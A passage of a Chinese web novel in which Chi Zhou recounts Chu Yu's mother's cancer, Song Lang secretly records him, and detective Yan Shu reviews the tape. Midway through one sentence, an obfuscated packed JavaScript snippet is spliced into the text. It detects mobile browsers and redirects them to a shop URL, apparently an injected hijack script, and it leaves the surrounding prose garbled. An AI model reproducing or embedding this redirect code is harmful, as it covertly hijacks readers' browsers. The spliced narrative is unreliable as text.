迟昼在书架间找书,回头看见她这副珍而重之的模样,心里又软又涩。他走回去,用肩膀轻轻碰了碰她,做出一副目空一切的豪迈样子,笑道:“你尽管用!擦完了再给你买。” 楚遇抬头对他笑了笑,午后的阳光透过书店的玻璃窗,在她脸上投下柔和的光晕。她沉默了几秒,忽然轻声问:“阿昼,你以后......也会对别人这么好吗?” 迟昼一怔,脸颊慢慢烧了起来,迅速蔓延至耳根。他张了张嘴,喉咙却像被什么东西堵住了,那些在心底盘旋的、滚烫的话语,到了嘴边却笨拙地出不了口。 等他好不容易深吸一口气,鼓足勇气想要清晰地表达什么,楚遇却先笑了:“我说着玩的。” 她转身走向另一排书架,身形在斑驳的光影里渐渐模糊。 迟昼望着她远去的身影,所有未能出口的话语都哽在了喉间,化作一片酸涩的沉寂。垂在身侧的手无声地攥紧,指甲深深陷进掌心。 一个声音在他心底响起,带着誓言般的郑重。 不会的。 只有你。 ———————————— 一段时间后的某个傍晚,迟昼照例先送楚遇回家,因为她得赶着给母亲做晚饭,之后再去迟昼家一起做新买的辅导书。迟昼像往常一样,在梧桐树下目送着她走进那扇门,才转身准备离开。 自行车刚蹬出去两步,身后突然传来楚遇声嘶力竭的呼喊:“阿昼——!” 他猛地捏紧刹车,轮胎在地上擦出刺耳的声响。回头望去,楚遇正站在门口拼命朝他挥手,脸上是从未有过的惊慌失措。 一定出事了。迟昼的心直直地沉了下去。 就在刚才,楚遇推门进屋,没在熟悉的位置看见妈妈审视的目光,也没听见任何声响。她刚松了口气,却在经过厨房门口时,整个人僵在了原地。 母亲面朝下趴在地上,一动不动。 楚遇的大脑一片空白。她冲过去跪倒在地,颤抖着手推了推母亲的身体:“妈?妈!” 没有回应。 楚遇连滚爬地起身,转身飞奔出门,幸好还能看见迟昼即将远去的背影。 救护车的鸣笛撕裂了黄昏的宁静。迟昼一直紧紧握着楚遇冰凉的手,陪着她将邹婷送进急诊室。经过抢救,医生告知暂时没有生命危险,但面色凝重地表示怀疑是慢性病急性发作,需要留院详细检查。 两个少年面面相觑,只能在病房外不安地等待。 邹婷苏醒后却执意要回家,楚遇几乎是用尽了所有的勇气和耐心,一遍遍地恳求,才勉强说服母亲留在医院观察一夜。 在邹婷有苏醒迹象时,迟昼就悄悄退到了病房外。他不敢出现在她面前——那个狂乱的夜晚,楚遇眼角边的痣,都成了他永生难忘的记忆。 楚遇安抚好母亲,走出病房时已精疲力竭。她顺着墙壁滑坐到地上,双手捂住脸,久久不语。 迟昼在她面前蹲下,声音放得很轻:“你还没吃饭,我去给你买点吃的吧。” 楚遇摇了摇头,抬起脸时已经挤出一个笑容:“不用了,我自己买就行。你回家吧,叔叔阿姨该着急了。” 那个笑容看得迟昼心头一阵刺痛:“可是......” “真的没事。”楚遇打断他,声音轻得像叹息,“如果我有需要,一定会找你的。” 迟昼沉默了片刻,知道再坚持只会让她更累,终于妥协:“那好吧。有事随时给我家打电话,半夜也没关系。” 他一步三回头地离开,走到医院大门口才想起自行车还扔在楚遇家楼下。折返回去取车时,看见车筐里那本崭新的辅导书还安然躺着,在暮色中泛着微弱的光。 迟昼推着车,突然感到一阵深深的无力。 一切,都发生得太突然了。 这些日子,楚遇的母亲好不容易平和了一些,即便是放任不管,也总好过从前的拳脚相加。这已是......长夜之中难得的光亮。 可现在,连这点光也要被夺走了。迟昼仰起头,看着上空稀疏的星子,第一次对命运感到了愤怒——为什么,就是不肯放过楚遇? 命运确实没有放过楚遇。诊断结果如同最终的审判,重重落下——邹婷确诊了胃癌,之前的晕厥是因为剧痛引发的高血压。 听到诊断结果时,楚遇恍惚了一瞬,思绪有瞬间的抽离,竟不知自己究竟该作何感受。 或许该像走廊里其他家属那样崩溃痛哭,或许该向面前的医生无法接受地反复追问。那样才符合常理,那样才符合......这个世界的期待。 可她悲哀地发现,自己内心深处,竟是一片麻木的死寂。没有锥心刺骨的悲伤,却也没有丝毫解脱的庆幸。 什么也没有。 母亲的疯癫与暴戾早已融入她的骨血,成了锚定她存在的、扭曲的坐标。这锚沉重、痛苦,将她钉死在了泥泞之中,可当锚点开始逐渐松动,她竟不知自己还能漂向何方。 恨与依赖,竟成连理之木。如此荒诞、如此可悲,却又......如此真切。 “可以手术,也可以保守治疗。”医生的建议很明确:“手术要切除部分胃部,有风险,但若恢复良好,能显著延长生存期。放化疗效果不确定,可能三四年,也可能很快就恶化。” 楚遇沉默了。时间在消毒水的气味中凝固,久到医生以为她已失去了思考能力。 然而她忽然抬起了头,声音嘶哑,却带着绝望的笃定:“我们做手术。只要有一线希望,就做。” 她掀起眼帘,直视医生,那双稚嫩的眼睛里布满血丝,却奇异得没有一滴泪,只有一片干涸的荒芜:“手术费我会想办法,一定能凑齐。” 医生被她眼中那种与年龄不符的决绝和悲伤震住了,愣了片刻才想起关键问题:“你家......没有其他能做主的大人吗?” 楚遇缓缓摇头,艰难地一字一顿:“只有她了。我要救她。” 然而眼下的阻碍竟是邹婷本人。她在医院里大骂女儿多事,甚至试图对劝她住院的楚遇动手,全靠护士死死拦住。旁观的医护人员无不唏嘘——这样的母亲,怎会养出如此不离不弃的女儿。 楚遇预付了少量押金,恳求医生暂时对母亲隐瞒真相,她怕母亲知道病情后宁死也不肯配合。她骗母亲说是去上学,实则根本踏没有踏进校门,而是回到那个压抑的家开始翻箱倒柜,将母亲藏起的、自己省吃俭用攒下的所有零钱统统搜罗出来,堆在那个生锈的铁盒里。 仍不够手术费的一半。 她捧着那个轻飘飘的铁盒,在家徒四壁的房间里干坐了一整天,昏昏沉沉,却始终不知自己究竟作何感想,直到夕阳西沉,阴影爬满角落,也依然一动不动。 门外传来迟昼焦急的呼喊声,她才惊觉,自己已经一天滴水未进。 迟昼看到如同泥塑般坐在昏暗中的楚遇,吓了一大跳,连声追问,了解情况后犹豫着开口,小心翼翼地提议:“要不......我去问问爸妈?他们或许能借......” “别!”楚遇几乎是立刻打断了他,语气斩钉截铁,“你绝对不能跟叔叔阿姨提借钱的事!” “他们不会见死不救的......” “你不懂。”楚遇叹了口气,脸上浮现出超越年龄的疲惫,似乎不愿再多做解释。 沉默像沉重的帷幕落下,许久,她才像是用尽了全身力气,艰难地说:“我已经想好了。明天,我就去找......我爸。” 迟昼想起六年级的那个傍晚,男人冷漠地从梧桐树下走过的背影仿佛犹在眼前。他重重叹气:“你觉得他会帮忙吗?” 楚遇缓缓摇头,眼神空洞:“不知道。” 迟昼心里几乎可以肯定——不会。但他不能这么说,只能搜肠刮肚地寻找苍白的安慰:“会的吧......他毕竟是你爸爸,你们一起生活过,总......总还有点情分在吧。” 楚遇低下头,嘴角扯出一个明媚却苦涩的弧度,那表情割裂地让迟昼感到陌生和心慌。 他看着她的侧脸在暮色中勾勒出渐显冷硬的线条,忽然觉得自己离她无比遥远。 第二天,楚遇去找了楚怀平。具体发生了什么,迟昼无从知晓。 他放学后赶去见她,只撞见一张疲惫而苍白的脸。她整个人像是被抽走了温度,冷淡得失了颜色,可那双眼睛里却烧着一种异常坚毅的光,连下颌线都绷得紧紧的,像是在和整个世界无声地对赌。 她说楚怀平不在,钱也没借到,得另想办法,随后就急着要赶回医院。 “我送你。”迟昼追上前。 “不用,”楚遇拒绝得干脆,声音里第一次透着一丝不易察觉的疏离,“你回家吧。这两天......也别来了,我跟老师请过假了。” 话音未落,她已经拦下一辆私人载客的黑车,迅速拉开车门钻了进去。迟昼僵在原地,望着那绝尘而去的车尾,一种混合着失落与恐慌的寒意,瞬间攫住了他的心脏。 尽管楚遇明确让他别去,迟昼却依旧每个夜晚都鬼使神差地绕到她的窗外,趴在窗沿探头探脑,确认屋里没有异样才悻悻离开。如此过了一周多,他终于接到了楚遇的电话,问他能不能把这段时间学校发的卷子和笔记带给她。 当时迟昼正在吃晚饭,他习惯性地仔细刷完碗筷,才带着东西出了门。 赶到楚遇家时,天已黑透。屋里隐约亮着灯,却死寂得听不见半点动静。 有了前两次的教训,他不敢再贸然敲门,可心头的不安却让他无法就此离开。他在院外焦灼地转了几圈,猛然想起自己还留着楚遇窗户的钥匙。 他急忙从贴身口袋里掏出那枚被体温焐热的钥匙,绕到屋后。心里猛地咯噔一下:楚遇的窗户一片漆黑。 不祥的预感缠紧了他的心脏。手不受控制地颤抖着,他费力地打开窗户,挣扎着爬了进去。落地时因慌乱而脚软,几乎是滚跌在地,缓了好一阵才狼狈地爬起来。 他心慌意乱地朝卧室外摸去,想弄清状况,却在门口与闻声进来查看的楚遇撞了个满怀。 “阿昼?!”楚遇惊愕地低呼,随即脸上血色尽褪,转为一种极度的焦灼,“你怎么进来的?快走!快走啊!” 迟昼愣住,慌忙解释:“我、我看你家屋里亮着灯又没声音,怕像上次那样......” 楚遇轻叹一声,摇了摇头:“没事。我妈刚才又晕倒了,我在收拾东西。你赶紧走吧,要是她醒了看见你......” 迟昼点点头,又想起了笔记本的事:“对了,笔记本和卷子我都带来了,在我车筐......” 话音戛然而止。 一股冰冷的战栗感从脊椎猛地窜上头顶,全身的汗毛在瞬间倒竖起来,每一个细胞都在尖啸着危险。 一个身影,从客厅昏暗的光线里缓缓显现。 门边的光影被寸寸吞噬,一张表情割裂到非人的面容,如同从噩梦中浮出水面,清晰地暴露在迟昼眼前,带着极致扭曲的兴奋。深陷的眼窝里闪烁着狰狞的快意,像是终于证实了心中长久以来的怀疑。 是邹婷。 22. 贰拾贰 手机铃声适时响起,将迟昼从沉重的往事中猛拽出来。 他微微一怔,像是大梦初醒,目光落在闪烁的屏幕上。 这个电话来得正是时候。后面的事......本就不该再说下去了。 他垂眸接通电话,声音有些发沉:“喂。” 电话那头传来简宁压低的声音,带着休息室里特有的回响:“你在哪里?” 迟昼望向车窗外,夕阳正缓缓西沉,将天空染成一片温暖的橘红。他这才惊觉,时间竟在回忆中流逝得如此之快。他没有回答她的问题,只是轻声问:“我现在过去接你?” 简宁的声音软了下来,有些微哑:“嗯,谢谢啦。天快黑了,路上慢点。”她顿了顿,又补充道:“对了,晚上不想做饭了,咱们煮个面凑合一下?” 刚从回忆中抽身的迟昼对她毫无招架之力,几乎是下意识地应允:“好,都听你的。” 电话那头传来一声轻笑,随即挂断。 迟昼放下手机,缓缓吐出一口浊气。 宋朗坐在副驾驶座上,离得很近,能清晰地听到电话里传出的声音。他安静地坐着,心想简小姐和楚谕确实不同——楚谕的声音清脆悦耳,如清泉流过山涧,不带一丝沙哑。 对于迟昼刚才讲述的一切,宋朗发现自己竟无言以对。那个充满挣扎与苦难的世界离他太遥远了,远到他连评价的资格都没有。 他生来就拥有一切,从不需要为衣食住行、学业前途而忧虑。他身边的人也大都如此,那些挣扎求生的霸凌与艰辛,于他而言,只是新闻里的遥远故事。 然而最让他感到不可思议的是,在楚谕身上,他从未感受到一丝阴霾。 他首先想到的是楚谕历经磨难后依然保持的心灵柔软,但转念间又猛然醒悟——也许那只是因为,楚谕从未对他敞开心扉。 他曾想过探寻她的过去,却又担心触及她的伤痛,于是只好耐心等待她主动倾诉。 可她始终没有开口。或许,她从未打算开口。 直到最后,他拥有的、失去的,都不过是楚谕途经他世界时,留下的一道浅淡影子。 就像一缕风,来也无影,去亦无踪。 “后来呢?”宋朗喉头发紧,将脸转向窗外,试图掩饰发红的眼眶。 迟昼静默了许久,久到窗外的天色又暗沉了几分,才低沉地开口:“后来她母亲没做手术,很快就走了。那时她还未成年,然后......就不告而别,彻底消失了。” 他顿了顿,声音里是磨过岁月的粗粝,叙事简略的有些跳脱:“很多年,我都在找她,直到在这里偶遇,是她先认出我的。那时,你们已经在一起了。” 这寥寥数语的背后,想必是漫长的找寻与失落。那种滋味宋朗虽然未曾尝过,却能想象其中的荒凉与无望。 他不知该说什么,却又觉得必须说点什么:“你......” 迟昼忽然扯出一个笑,带着点自嘲:“说实话,我们分开的时候,什么情啊爱啊,都还没想明白。我们是一起长大的,但更多的是陪伴和依靠,从没有过逾矩的行为,连越界的话,都没说过。” 他说着眼眶微微酸涩,却像楚遇一样依然挂着笑容:“说句矫情点的——沉默,才是我们最牢固的联结。” 宋朗哑然。他拥有过淡漠的亲吻、温暖的拥抱、甚至还有关于未来的承诺,却从未触碰过这样一种......根植于寂静深处的羁绊。 迟昼长长叹了口气,像卸下了一块沉重的石头:“这些年我执着地找她,想再见她一面,甚至愿意为她做任何事。可我却从没想过......一定要和她在一起。你说,这是不是挺奇怪的?” 宋朗终于开口,声音嘶哑,却异常诚挚,带着感慨:“你......比我更爱她。可能也比你自己想象中的,更爱她。” 迟昼又笑了笑,目光投向车窗外的虚空,幽幽道:“或许吧。我其实从小就对未来没什么期望,活着更像一种本能,直到楚遇出现......我也说不清到底什么变了,但至少开始对明天怀有希望。说实话,除了爱,她对我而言更像一个......执念。” 他笑了笑,又轻轻地、梦呓般道:“如果人能为了执念而死,好像......也不是件坏事。” 宋朗微微一顿。 执念。又是这个词。 严疏有,迟昼有,他自己......又何尝没有? 宋朗忽然想,那楚谕呢? 她是不是......也有自己的执念?那,又会是什么? 迟昼再次开口,语气虽然沉重,却带着显而易见的安抚与劝诫:“对你而言,这可以只是一段插曲。就此翻篇吧,去过你自己的生活。” 宋朗苦笑着摇头,那份被他藏起的诊断报告像幽灵般在脑中一闪而过,引得大脑又开始隐隐作痛。他抬手用力按了按额角,缓了片刻,才终于问出了那个盘旋已久、至关重要的问题: “你觉得......那是意外吗?” 迟昼侧过头望向窗外,没有立刻回答,那双总是带着疏离与茫然的眼里,渐渐浮起了一层深切的悲哀。 他听得出,这不是一时兴起的追问,而是一种不愿放弃的执拗。 说实话,在此之前他一直以为,像宋朗这样活在云端的富二代所能付出的真情,大抵浅薄而有限。 可他好像错了。 这似乎真的是一份足够美好的感情。或许是楚遇在风雨飘摇半生后,命运终于肯施舍的一点温暖——一个体面的丈夫,一段安稳的余生。 可她并没有在意,也不曾伸手去接。这一刻,连迟昼都为她感到惋惜。 他回过头,却见宋朗依旧坐的笔直,目光坚定,无声地、固执地等待着答案。 仅仅一瞬,迟昼便再无法承受这样的注视,近乎溃败地重新转过头,望向窗外早已消散无踪的流云。他默然良久,再开口时声音轻轻,像是劝慰,又像自语: “就算她回来了......一切,也都回不去了。” 听着他语调莫名的喟叹,宋朗坚定的神情一点点垮了下来,逐渐碎裂、剥落。 是啊,一切都回不去了。 楚谕,已经消失了。 迟昼却仿佛陷入了某种谵妄,眼神空洞地望着虚空,带着化不开的迷惘与挣扎,低声喃喃:“命啊......如果一切都是注定,人的挣扎又有什么意义?如果事在人为,又为什么总是事与愿违......哈哈,哈哈哈。” 他短促地笑了两声,那笑声里并无半分欢愉,只有无尽的混沌迷茫。 宋朗怔怔地听着,只觉心头发紧。他还想问些什么,却如鲠在喉。 片刻后,迟昼已恢复如常,拿起手机开始设置导航,目的地是那家咖啡馆。看着他的动作,宋朗知道,今天的对话到此为止了。 他告辞后推门下车,朝着自己的车走去。放在裤兜里的右手因紧张与激动而不受控制地剧烈颤抖,他只能死死攥住掌心中的物件,用尽力气遏制那战栗。 他并不理解迟昼那些关于命运与选择的迷惘,但从那破碎的言辞间,他觉得自己捕捉到了一个至关重要的信号——楚谕的死,恐怕真的另有隐情。 既然连他都能听出来,那这......应该已经够了。 他坐进驾驶座,僵硬地抽出右侧裤兜里的手。掌心已被手机硌出深红的印痕,他却无暇顾及,只是缓缓张开手掌,点亮了屏幕。 指尖带着微不可察的颤抖,触上了屏幕顶端的红点,录音软件的界面赫然展开,红色的录制标识仍在闪烁。 他深吸一口气,带着羞愧与僵硬,却异常坚定地点开了电子邮箱。 ********* 车在夜色中穿行,迟昼摇下车窗,任凛冽的晚风灌入车内,试图吹散脑海中纷乱的思绪。 可回忆依旧翻涌不息。不同的时间,不同的面孔,不同的场景,如同破碎的胶片在眼前交替闪现。 他想到了现在的“家”,那个被她精心布置的空间——温馨得不真实。她沉迷于各种家居改造视频,每晚睡前都要浏览网店,买回一堆华而不实却极具氛围感的小物件。即便这只是租来的房子,她也要把它装扮得如同新婚燕尔的爱巢。 前两天,她甚至心血来潮,找人改造了全屋的窗户,安装了崭新的防盗纱窗。改造后的屋子,白天明亮通透,夜晚温暖安宁。 迟昼出神地想,父亲迟安若是见到他如今过着的日子,大概会深感欣慰。 可他有时候会感到惶恐。有时候是因为这份生活之下的代价,有时候则是害怕某天清晨,她会突然提起结婚。 到那时,他该如何回应?拒绝?他做得到吗? 事实上,他曾无数次拒绝过简宁。从那个荒诞的初遇开始,从察觉她有意靠近的那一刻开始,从逐渐了解她是个多么愿意付出的姑娘开始......他一直都在试图划清界限。 那时的迟昼再清楚不过——他那千疮百孔的心,撑不起一段正常的感情。 他注定会辜负简宁。只是迟昼从未想到,那方式会如此彻底。 可那时的简宁从不在意他的推拒。他越是后退,她越是步步紧逼;他越是闪躲,她越是固执地靠近。迟昼对她说不出重话,更不愿开诚布公地坦诚原因,就只能任由她一点点将二人拉近。 他能感觉到,简宁也只不过是想在传送带般机械运转的人生里,找一个可以暂时停靠的站台。 可他连自己都无处扎根,又怎能成为别人的锚点? 就这样阴差阳错地,他们开始了一段模糊的关系,最初甚至不是以“男女朋友”的名义,只是心照不宣地彼此相伴。 这是迟昼唯一熟悉的方式。 他们有过约定:不过问彼此的过去,不规划遥远的未来,只在当下成为彼此生命里暂时的坐标,尽力为对方提供一点生活的温度。 他不知道简宁是否当真,但提出这个约定时,迟昼是认真的。 可是许多转变都是不知不觉间的。在可以一起聊天后,就可以一起吃饭,就可以一起去任何地方、做任何事。他们就这样越来越像情侣,有了肌肤之亲后,情况更是发生了微妙地转变。 食也性也,这其实是人的天性,很自然。 迟昼开始陪着简宁去养老院看妈妈,也被拖着去郊游,自拍。他偶尔生病挂水的时候,简宁也会请假照顾他,帮他做饭、打扫卫生。 他们就这样奇怪地在恋人不满的基础上,大跨步地成为了近似亲人的存在。虽然仍旧游荡迷茫,但不得不承认的是,迟昼自身的冰冷和疏离开始逐渐被简宁一点点融化了。 迟昼的手指不自觉地收紧,骨节在方向盘上泛白。他闭了闭眼,脑中的画面忽然切换。 那天他在汽修店加班到很晚,正在检修一辆引擎进水的车。卷帘门半掩着,街上已没什么人声。就在准备收拾工具关门时,他听见了脚步声。 引擎盖遮挡了视线,但因为已经很晚,他便头也不抬地说:“抱歉,已经打烊了。” 来人却没有离开。脚步声缓缓地靠近,最终停在引擎盖的另一侧。迟昼无奈地探出身,正要再次拒绝,却突然听到了一个清晰的声音。 “阿昼。” 两个字,像是一把钥匙,猝然打开了尘封的记忆。火烧云的傍晚,手掌上的鲜血......一切,都在转瞬之间全部复活。 他僵在原地,缓缓抬头。时间仿佛在这一刻凝固,手边的工具、仪表的滴答声,全部消失在了耳畔。 站在面前的女人......是记忆中的楚遇,却又并不相像。 从前的楚遇是单眼皮,眼尾细长,带着丹凤眼特有的清冷。瘦削的脸颊,尖俏的下巴,配上眼角那颗棕色的泪痣,神情沉静,却又显得脆弱易碎。 而眼前的女人,眼睛圆润了些,面容也丰腴了,整个人像被时光精心打磨过,褪去了青涩,多了从容。最让他印象深刻的是那件粉红色的针织毛衣——特殊的毛线显得蓬松厚实,让她看起来像颗饱满的水蜜桃,再也找不到当初那个单薄少女的影子。 她与记忆中的楚遇,几乎无法重叠。 可他的本能依然认出了她,就像曾经承诺过的那样。 那天后来的事,迟昼记不清了。骤然入眼的刺目光晕,会带来一种近乎失明的恍惚。 他们的重逢其实不像电影里演的那样热烈。之后的日子里,他们并不常见面,见面也总是楚谕主动联系,而迟昼永远会默默赴约。这甚至称不上约会——有时候只是她开车过来,说几句话,偶尔再一起吃个饭。 迟昼知道她又改了名字,从“遇”到“谕”。他不明白这细微改变背后的深意,却和年少时别无二致,从不多问。他像她曾经说的一样,依然叫她“楚遇”——反正读音没有区别。 一个名字而已。她,仍然是她。 有时他会像曾经一样静静凝视眼前的人,却总感到一种奇异的割裂。 现在的楚谕,从发型到衣着,从神态到气质,都已褪去当年的青涩,变得明媚而饱满,与他记忆中的少女相去甚远。可她笑起来时嘴角微扬的弧度,她掀起眼帘望人时眼尾轻挑的角度,她陷入沉思时无意识咬住下唇的习惯——所有这些细微之处,又都如此熟悉,切切实实地属于过去的楚遇。 可楚谕从不提及过往。每当迟昼试图问起,她总会蹙起眉头,用沉默或转移话题来回避。迟昼明白她想与过去彻底割裂,只是从未如此清晰地感受到这份决绝。 他有些想不通:既然她如此渴望与过去告别,为什么......还要来找属于过去的他? 但无论如何,他无法拒绝。只要楚谕开口,无论是在工作,还是与旁人有约,他都会抛下一切,奔赴前往。 他仿佛依然是她最忠诚的锚,而她,也永远是他无法抗拒的潮汐。就像回到了年少的时代——他还是那个除了陪伴一无所有的迟昼,而她,仍是那个只有他的楚遇。 而对于楚遇,迟昼始终只有一个原则:她要幸福。哪怕这份幸福的代价是他的整个世界,他也甘愿。 “还记得那个晚上吗?”有一次在楚谕的车里,她罕见地主动提起了过去,“我们在河堤上看月亮。” 迟昼怎么可能忘记。那个夜晚乍现的月光像水银般倾泻在河面上,少女尚且干净的眼角在月色中朦胧如画,却带着未干的泪痕。他轻轻点头,心里却想起她曾经对温暖家庭的憧憬——不知如今的她,是否已经得到了想要的? 和从前一样,他依然保持了沉默。她不说,他就不问。 楚谕似乎笑了笑:“那时候总盼着长大,以为成了大人,就能把命运攥在自己手里,再不用随波逐流。”她转过头,目光落在迟昼脸上:“阿昼,你现在......做到了吗?” 迟昼想到了简宁。她确实像一盏灯,指引着他走出了最混乱的岁月。可心底的某个角落却总是空的,带着一种轻飘飘的漂浮感,仿佛少了什么至关重要的东西,始终落不到实处。 他苦涩地摇头:“我不知道。” 楚谕似乎轻轻叹了口气,良久无言。然后,她慢慢地倾身过来,枕着铺散的长发,轻轻靠在了他的肩上。 迟昼没有动,任由熟悉的体温隔着衣料传来。他闭上眼,在这一刻恍惚地想——从前的那个人,好像回来了。 他的楚遇......他的绮梦。 从很久以前,他就已经无法对楚遇说“不”了。岁月匆匆流转,却非但没有磨灭这个习惯,反而让它沉淀成了本能。即便中间隔着漫长的别离,这份习惯也从未消散,好像只是经历了一次中场休息。 楚谕的出现,不过是让他回到了原本的轨道。 而今,迟昼依然无法拒绝。即便明知是错,也要带着忏悔固执地走下去,至死方休。 ********* 严疏从河溪镇回来后便开始逐渐扩大走访范围,仔细梳理楚谕的交际圈,同时深入调查简宁的背景。那对双胞胎讲述的经历让他对楚谕本人产生了强烈的好奇,为此暂时放下了寻找那个代驾和确认宋晴行程这两条线。 他渐渐发现,楚谕的四周仿佛笼罩着一层真空。周围人对她的评价几乎千篇一律——清冷、温婉、简单,却始终无人真正触及她的内核。毕竟,一个能徒手去掰玻璃的女孩,内里一定还有些别的东西。 严疏出神地想,这简直就像......一张精心描摹的假面,和迟昼如出一辙。这算什么?保护色吗? 而简宁却恰恰相反,是个充满生活痕迹的鲜活个体。每个接触过她的人都能说出许多细节:吃苦耐劳,做事利落,性格直爽,热心肠、好相处。但也都提到她性子倔强,爱钻牛角尖,还有一句心照不宣的补充——“看男人的眼光不太好。” 最后这句,严疏听得懂其中的弦外之音,分明是在暗指迟昼。 所有人都提到,简宁在辞去上一份工作后,突然切断了与所有旧识的联系。起初有人担心她,多方打听后却得知她已与男友同居,似乎是好事将近,便也识趣地不再打扰。 通过这些碎片,严疏拼凑出了一个众人眼中“并不般配”的关系。尤其简宁的旧友们都觉得,虽然迟昼模样还行,但条件确实普通,而且最关键的是,“明显不如简宁投入”。 “他们就像失散多年刚刚重逢的家人,”有人说,“还陌生着,就莫名成了搭伙过日子的亲人。” 简宁的同事认为她又钻了牛角尖:“她老这样,认了一条路就非要走到黑。辞职前几个月她状态一直不好,大家都猜是感情出了问题。所以后来她突然消失又断了联系,我们意外又不意外——八成是处理感情问题去了。情感嘛,你懂的,都是那样......不过现在应该已经办妥了,这不都开始新生活了嘛。” 严疏揉着太阳穴,这些充满主观色彩的“感情分析”让他倍感头疼。最终他还是采取了最原始的方法:调取简宁在西餐厅的出勤记录,将几次超过一天的请假标注出来。 核对日期时他有了一个发现——楚怀平说在老家瞥见那个神似楚谕的女人时,简宁正好请了三天假。 再联想到迟昼父母提及简宁曾登门拜访——那个出现在河溪镇的人,无疑就是简宁。 而她听到“楚谕”就仓皇逃离的反应也说得通了——那时她应该已经知晓楚谕的存在,甚至隐约察觉到了楚谕与迟昼的过往。那趟河溪镇之行,估计也根本不是什么“顺路办事”,而是专程前去探查男友和另一个女人的“曾经”。 严疏烦躁地将笔记本摔在桌上,点燃一支烟——看似关键的突破,却指向了争风吃醋的纠葛。 啧,感情。 他吐出烟圈,在缭绕的雾气中无声嗤笑。 严疏很是郁闷,正想研究一下代驾那条线索,手机屏幕忽然亮了。 一封新邮件,发件人:宋朗。 他猛地坐直身体,心跳骤然加速——就像等待已久的鱼漂终于颤动,那种久违的兴奋感瞬间冲散了烦躁。 上次在小餐馆与宋朗交谈时,严疏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352904|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻意埋下了一颗种子。当时他们不可避免地谈到了迟昼,而那张仿佛永远波澜不惊的脸让严疏想起了刚刚破获的潘成案——正是通过监听,他们才捕捉到了嫌疑人无意中泄露的关键信息。 但监听的关键,在于找到一个......能让目标卸下心防的对话者。 彼时严疏握着玻璃杯,抬头看见了对面的宋朗。 于是他说出了那句略带刺激的话—— “关于楚谕的过去,你知道的、不知道的,这个人全都了如指掌。” 这个算计简单到近乎卑劣——他赌的是宋朗会被刺痛,会忍不住去找迟昼追问楚谕的过往。在未婚妻刚刚离世的背景下,面对未婚夫询问‘曾经’的请求,应该很少有人能断然拒绝。 只要迟昼开口,严疏就能通过不断拜访宋朗,逐渐拼凑出迟昼与楚谕尘封的往事。 但他其实并不确定宋朗是否会行动。这位温文尔雅的绅士曾多次表示逝者已矣,似乎不愿再被反复揭开伤疤。 可既然他会下意识地跟踪简宁,连刻在骨子里的“教养”都没能阻止——这是否说明,在他内心深处......仍有尚未熄灭的火苗? 现在,严疏知道自己赌对了。无论是因为感情、执念、还是男人间微妙的较量,重要的是——宋朗行动了。 他快速点开邮件,觉得加载的圆圈转得前所未有的慢,甚至不耐地晃了晃手机。 邮件内容展开的瞬间,严疏愣住了。 正文一片空白,一个字都没有。但在邮件下方,赫然跟着一个不小的附件—— 一段录音。 严疏盯着屏幕,忽然呵呵笑了出来。面前那堵密不透风的墙,终于要被凿开一道缝隙了。 他原本还计划着过些时日再去试探宋朗,却没想到对方竟主动递来了钥匙——还是以如此出人意料的方式。 尤其当他想到这是那个一贯恪守礼节的宋朗做出的行为时,更觉得难以置信。 诚然,未经对方同意——毕竟迟昼绝无可能同意——私自录音的行为虽不构成犯罪,却已严重违背道德。若被追究,至少也要落个通报批评。鉴于宋朗之前曾跟踪过简宁,这次的事如果再闹进警局,甚至能构成短时拘留。 但严疏已无暇顾及这些。结合之前双胞胎提到的事,楚谕的情况明显疑点重重,而迟昼......又像已经把面具焊死在了脸上。 严疏想,在这种僵局下用些非常手段,也算无可厚非。 他心知这段录音里未必能找到决定性证据,即便有,在法律上也不具效力,无法用于立案。但多一分信息,就多一线希望——尤其是关于楚谕和迟昼的过往,这正是他最渴望、也最缺乏的信息。 究竟是什么样的经历,才会塑造这样的两个人?十二年前那场大火的背后,是否隐藏了什么秘密?当年的迟昼,为何会仓皇闯进派出所又匆忙逃离? 严疏清楚地记得,那时的迟昼在读高三。一个尚未成年的学生,尤其是个循规蹈矩的优等生,对警察局这样的地方一定怀有天然的敬畏。 若不是遇到极其特殊的状况,绝不可能像那些惯犯一样随意进出。 这里面,一定有什么不为人知的隐情。 他压下心头的激动,从抽屉里翻出耳机戴上,指尖在屏幕上悬停片刻,轻轻点开了那个录音文件。 ———————————— 漫长的三个小时过去,严疏缓缓摘下耳机。 此刻的他早没了之前的激动,愣愣地呆坐在椅子上,脸上没有任何破获线索的兴奋,只剩一片沉重的空白。 他早有过猜测——楚谕和迟昼之间,大概是某种共生的依存。说得文艺些,或许是灰暗青春中,彼此的救赎。只有这样,才能解释那段超越常理、却又坚不可摧的联结。 可猜测归猜测,拼凑归拼凑。当那些往事通过平静的叙述,一字一句在耳边展开时,他发现那份重量远远超出想象。 迟昼不愧是曾经的优等生,叙述平稳清晰,没有刻意煽情,也不曾回避任何细节。这不像是一场对话,更像一场记忆深处的,彻底又孤独的剖白。 录音早已结束,严疏却迟迟无法起身,被那份纯粹的、附骨之疽般的沉重压得喘不过气。 他曾东奔西走,千方百计地窥探他们的过往,可当这段伤痕累累的岁月真的毫无遮掩地摊开在眼前时,他才意识到自己掀开的,是怎样一段浸透了血泪的青春。 时光与苦难的重量,第一次如此具象。 此刻他根本无心分析任何与案情相关的细节。一个盘旋已久的问题,带着前所未有的尖锐,再次萦绕脑海,冲刷着他的信念: 你,还要继续吗? 他仰头望着斑驳的天花板,内心第一次出现了清晰的裂痕。 往事或许会随风飘散,但痛苦早已将人重塑成形,如影相随。 这样执着地刨根问底,除了将伤疤重新撕开,露出血淋淋的内里,究竟还有什么意义? 那两个人,是那样艰难地、一步步相互搀扶着,才从青春的深渊中爬出。而他现在,却为了一个近乎偏执的念头,死死咬住那个早已遍体鳞伤的唯一幸存者,固执地要他在精神上重新经历一遍炼狱—— 只为演给他的执念看。 这样,与残忍何异? 宋朗口中“逝者已矣”的重量,在沉默之中逐渐叠加。 